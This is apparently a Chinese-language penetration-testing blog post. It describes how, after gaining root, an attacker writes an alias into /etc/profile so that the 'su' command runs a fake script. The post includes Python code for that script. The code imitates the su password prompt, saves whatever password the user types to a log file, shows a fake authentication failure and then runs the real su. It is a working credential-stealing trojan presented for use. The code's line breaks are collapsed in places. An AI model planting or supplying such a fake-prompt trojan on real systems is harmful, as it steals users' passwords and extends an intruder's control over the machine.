这个技巧一般用在什么地方呢,如授权的渗透下,或不能对应用系统造成破坏性攻击的时候。
首先看几条命令
一:当sudoer执行sudo命令时,会提示需要用户密码
二:alias可以设置别名
但是只能在当前shell下生效
三:环境变量
上面第二条说的,alias如果不设置的话只在当前shell下有效,包括我们常见的source ~/.bash_profile。
这个时候我们就要了解下/etc/profile
/etc/profile是可以设置永久环境变量的,也就是说所有用户登录的时候都会执行其中的命令。
组合
综上所诉,我们就可以把上面提到的三点组合利用:
在利用相关漏洞如命令执行等获取到root权限以后,在系统的环境变量中写入别名,在用户执行相关命令时进行“替换”。
代码
https://github.com/Jumbo-WJB/notes/blob/master/su.py
import osimport sysimport getpassimport time
current_time = time.strftime("%Y-%m-%d %H:%M")logfile = "su.log"
fail_str = "su: Authentication failure"
try: passwd = getpass.getpass(prompt="Password: ") file=open(logfile, "a") file.write("[%s]\t %s" % (passwd, current_time)) file.write("\n") file.close()except: passtime.sleep(1)print fail_stros.system("su")
上面代码具体意思是指当用户执行su命令时,实际上是执行我们的root.py,然后root.py会先伪造上面第一点命令中提到的su的命令回显,记录用户输入的密码,提示密码错误,最后调用真正的命令。
效果如下